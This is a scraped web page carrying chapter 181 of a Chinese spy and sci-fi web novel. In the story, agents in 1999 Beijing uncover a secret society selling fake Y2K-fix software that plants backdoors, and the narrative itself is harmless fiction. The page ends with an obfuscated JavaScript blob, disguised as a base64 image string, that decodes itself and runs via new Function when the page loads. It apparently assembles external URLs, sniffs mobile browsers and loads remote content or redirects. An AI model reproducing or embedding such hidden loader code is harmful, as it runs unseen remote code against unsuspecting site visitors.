首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第181章 千年虫

    第181章千年虫(第1/2页)
    1999年10月1日,国庆五十周年阅兵结束后的第七个小时。
    北京西城区,特案调查局地下三层情报分析室内,三台十九寸CRT显示器同时泛着青白色的光。王海坐在转椅上,手指在键盘上敲击出一串连他自己都觉得陌生的指令。屏幕右下角的时间显示23:17,窗外应该是一片欢庆后的狼藉,长安街上还残留着烟花碎屑。暖气管道在墙角发出低沉的嗡鸣,那是这栋老楼特有的心跳声。
    “局长,您得看看这个。“
    周正推门进来,身上带着夜风的凉意。他刚从天安门广场回来,深色中山装的领口别着一枚国庆纪念章。五十九岁的人,背脊仍然挺直如松,但眉间的皱纹比三个月前深了一些。他的目光扫过房间,落在中间那台显示器上,只用了半秒就判断出事情的严重程度。
    “什么东西值得你半夜把我叫回来?“
    王海没有回答,只是把显示器的方向转了过去。屏幕上是一段被截获的网络数据传输记录,绿色的字符在黑色背景上不断滚动。那些字符像是有生命的虫子,在屏幕上蠕动着。
    “暗网追踪组今晚的例行扫描,发现了这个。“王海的声音比平时快,带着技术专家遇到难题时的那种亢奋,“境外服务器,匿名路由,三层跳板。我们在追踪一条关于千年虫的软件销售线索时,挖出来的。“
    周正盯着屏幕。他不是技术出身,但二十年来经手的案件教会了他分辨危险的气息。屏幕上滚动的代码对他来说像天书,但他能读懂王海的表情。那是一种发现了不该被发现的东西时的表情。
    “有人在卖一种叫‘千禧终极方案‘的软件。“王海点开一个网页截图,页面全是英文,排版粗糙,“售价十万美元一套。买家包括德国电信、日本通产省、巴西央行,还有……“他顿了顿,喉结上下滚动,“我们国内的三家大型国企。“
    “软件?“
    “问题就在这里。“王海放大了一段代码,那些字符在屏幕上拉伸变形,“我分析了它的核心架构。这段代码的语法结构不符合任何已知编程语言的逻辑。不是C++,不是Java,不是Fortran,甚至不是汇编。它使用的算法……局长,这种压缩方式,理论上人类计算机科学家要到至少十年后才能想出来。“
    周正的手停在了半空。他看着屏幕上那些不属于人类智慧的字符,想起了一九五二年那个冬天。那时候他还是个年轻军官,第一次接触到超越人类认知的科技。四十七年过去了,那种站在深渊边缘的感觉从未真正消退。
    “更诡异的在这里。“王海又打开一个窗口,里面是软件的安装界面截图,“看这个角落。“
    周正俯下身,凑近屏幕。
    安装界面的右下角,有一个大约两厘米见方的图标。暗色背景上,一个六角星中间嵌着一只睁开的眼睛。线条简洁,却透着一种古老而冰冷的气息。那只眼睛画得极其精致,瞳孔的位置略微偏上,像是在俯视每一个看到它的人。
    周正直起身,沉默了三秒。
    “暗星会。“他的声音没有任何起伏,像是在陈述一个已经预料到的事实。但只有他自己知道,心脏在胸腔里重重地跳了一下。
    “暗星会。“王海重复了一遍,“他们开始做生意了。“
    ---
    林杰被电话惊醒时,苏婉正蜷在他身边熟睡。床头柜上的诺基亚5110屏幕亮着蓝光,震动声在安静的卧室里格外刺耳。手机是局里配发的,号码只有六个人知道。六个人里,会在凌晨打电话的只有一个。
    他看了一眼来电显示,没有立刻接。苏婉的发丝散落在枕头上,呼吸均匀。窗帘没拉严实,窗外的路灯在天花板上投下一道窄窄的光带。
    手机震了十五秒,停了。然后再次震动。
    林杰抓起手机,轻手轻脚地走到客厅,关上了卧室门。
    “半小时内到局里。“周正只说了一句话,挂断了。
    苏婉在卧室门口看着他,睡眼惺忪,但已经习惯了他深夜被叫走。六年来,她从心理评估师变成了他的搭档,又从搭档变成了更亲密的存在。她学会了不问,只在门口递给他一件外套。那件外套是他去年过生日时她买的,深灰色,袖口绣了一个很小的“林“字。
    “国庆还没过完。“她说。声音里带着刚睡醒的沙哑。
    “国庆过完了。“林杰穿上外套,手指触到袖口的那个字,“真正的麻烦刚开始。“
    他骑车穿过深夜的北京。长安街上的庆祝标语还在路灯下泛着红光,空气中残留着火药和欢乐过后的空虚。几个清洁工在清扫路面,扫帚摩擦地面的声音在空旷的街道上格外清晰。十月的风已经有了凉意,吹在脸上让人清醒。
    街道两旁还挂着“庆祝中华人民共和国成立五十周年“的横幅,有些已经被风吹得卷了边。路灯的光晕里,能看到悬浮的尘埃。城市的狂欢已经落幕,而他的工作才刚刚开始。
    特案调查局地下会议室里,周正、王海,还有陈锋已经在等。陈锋靠在椅背上,手里转着一支钢笔,三十七岁的人,方脸上的浓眉拧成一个结。他是林杰的第一任搭档,也是全局上下唯一一个敢在周正面前翘二郎腿的人。看到林杰进来,他挑了挑眉毛,没说话。
    林杰在空位上坐下。椅子是金属的,冰凉透过裤子渗进来。周正把一份文件推到他面前,纸面在灯光下泛着哑光。
    “暗网追踪组发现暗星会在利用千年虫恐慌进行大规模科技走私。产品已经流入至少七个国家,国内有三家大型国企购买了他们的‘解决方案‘。“周正的手指敲了敲桌面,每一下都像是敲在人的神经上,“这件事的层级,超出了普通走私案。“
    林杰翻开文件。第一页是产品截图,第二页是买家名单,第三页是技术分析。王海的技术分析报告写得很细,每一页都盖着“机密“的红色印章。看到第四页时,林杰的手指停住了。
    (本章未完,请点击下一页继续阅读)第181章千年虫(第2/2页)
    那张照片拍摄于某个境外网站的商品页面。暗色的包装盒上,六角星与睁开的眼睛构成一个对称的标记,像一张俯视人类的面孔。照片的分辨率不高,但那个标记的轮廓清晰得刺眼。林杰的瞳孔收缩了一下。
    “暗星会。“林杰抬起头,“这不是普通的外星科技走私。他们选择千禧年这个时间点,一定有更大的图谋。“
    “没错。“周正站起身,走到墙边的大幅世界地图前。地图上用红蓝两色标注着各个案件的发生地,密集的图钉像是一种奇怪的皮肤病。“千年虫恐慌给了一个完美的掩护。各国政府和企业不计成本地采购任何声称能解决问题的技术。暗星会只需要把外星科技包装成‘先进软件‘,就能光明正大地渗透进人类最关键的系统中。“
    “他们想干什么?“
    “这就是你要查清楚的。“周正转过身,看着林杰,目光像一把秤,在称量他的分量,“我任命你为特别行动组组长。陈锋负责战术支援,苏婉以技术顾问身份随行。你们三人组明天出发。“
    林杰愣了一下。“出发去哪?“
    “深圳。“周正在地图上圈了一个点,手指用力,粉笔在纸上划出刺耳的声响,“采购名单显示,所有国内交易的中转站都在深圳。华强北电子市场,那里是整个东南亚最大的电子元器件集散地,也是暗星会产品进入中国的第一站。“
    陈锋吹了声口哨,钢笔在指间转了个圈。“深圳速度。“
    “不是去度假。“周正冷冷地扫了他一眼,那目光像刀锋划过皮肤,“暗星会在全球经营了至少六年。我们之前只当他们是松散的极端组织,现在发现他们已经是跨国科技走私集团。你们面对的不是疯子,是商人。而且是拥有外星科技的商人。“
    林杰合上文件,封面上的“机密“二字在灯光下泛着暗红。“需要什么身份掩护?“
    “北方某省信息技术中心的采购代表。“周正从抽屉里取出三个证件,证件上的照片是林杰、陈锋和苏婉近期的免冠照,“证件、背景、银行账户都已经准备好了。你们的目标是接触走私网络的上层,找到暗星会在国内的代理人。“
    “然后呢?“
    “然后活着回来。“周正把证件放在桌上,手指在桌面上按出一道白印,“还有件事。根据王海的分析,这款‘千禧终极方案‘的功能根本不是修复千年虫。它在系统里留下的不是补丁,是一个后门。一个我们完全不了解的后门。“
    会议室里安静了。暖气管道停止嗡鸣的瞬间,房间里静得能听到彼此的呼吸。
    林杰想起六年前的第一次案件。那时候他二十八九岁,刚接触外星存在的世界,眼睛里还有锐气。现在他三十四岁,眉骨上的第一道疤已经淡了,但眼里的东西变了。不是冷,是一种更深的东西——知道得越多,越不敢掉以轻心的东西。
    “千年虫的时间窗口不可复制。“他说。
    周正看着他,点了点头。他的眼神里有赞赏,也有一种说不清的忧虑。“这句话,记在脑子里。“
    ---
    林杰回到家时是凌晨三点十五分。苏婉没睡,客厅的茶几上摆着两杯已经凉透的茶。茶叶在杯底沉淀成深褐色的沉积物,她没开大灯,只点了一盏台灯,光线把她的侧脸勾勒出一道柔和的轮廓。
    “要去深圳?“她问。
    “周局都告诉你了?“
    “他只说要技术顾问。“苏婉站起来,帮他把外套挂好,手指在布料上停留了一秒,“能猜到。“
    林杰看着她。六年前他们在卷七的案件后续中认识,那时候她是他的心理评估师,用温和的问题拆解他心里的壁垒。现在她是他生命中最接近真相的人,但他仍然不能告诉她全部。这种愧疚像一根细线,勒在心脏最软的地方。
    “这次不一样,对吗?“苏婉帮他把衬衫领口的扣子系好,指尖触到他的下巴。
    林杰点头。“暗星会。“
    苏婉的手指停了一下。她听过这个名字,在卷三天门教案件的档案里。暗星会,一个由多种外星****组成的秘密组织,信奉人类应该被“管理“而非平等共存。他们的口号是“暗星大人会来接我们“,而那个“暗星大人“,据说是一个被称为“守望者“的存在。档案里的记载只到那里,后面的页面是空白的。
    “那我跟你一起去。“苏婉说。
    林杰想拒绝。每次想保护她的时候,他都想起父亲去世时自己不在身边的情景。那是他第一次明白,保密工作的代价不是自己的孤独,是无法在所爱之人需要的时候出现。但这一次,他更需要一个懂技术的人。
    “苏婉……“
    “你需要一个懂技术的人。“苏婉打断他,“王海分析的那段代码,我今晚看了。那不是人类的编程逻辑,但它遵循一种数学规律。一种我恰好读过的数学规律。“
    林杰看着她。“什么?“
    “分形几何。“苏婉的眼睛在灯光下很亮,“那段代码的压缩算法,与曼德勃罗集合的结构高度相似。这不是巧合。有人在用数学规律编写程序,而这种数学规律……“她顿了顿,“恰好是我硕士论文的研究方向。“
    林杰沉默了很久。窗外的路灯在窗帘上投下晃动的光斑,远处有夜行车辆的引擎声。
    “去收拾行李。“他最终说,“明天早上六点,我来接你。“
    苏婉转身走向卧室,在门口停住。“林杰。“
    “嗯?“
    “这次回来,我有话要对你说。“
    她没等他回答,走进了卧室。林杰站在客厅里,听着卧室里衣柜开合的轻响,突然有一种强烈的不安。不是对任务的,是对时间的。千禧年倒计时八十九天,世界在新旧交替的门槛上摇晃,而他心里某个地方知道,这八十九天将改变一切。
    窗外,北京的天际线在夜色中沉默。1999年的最后一个季度开始了。

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();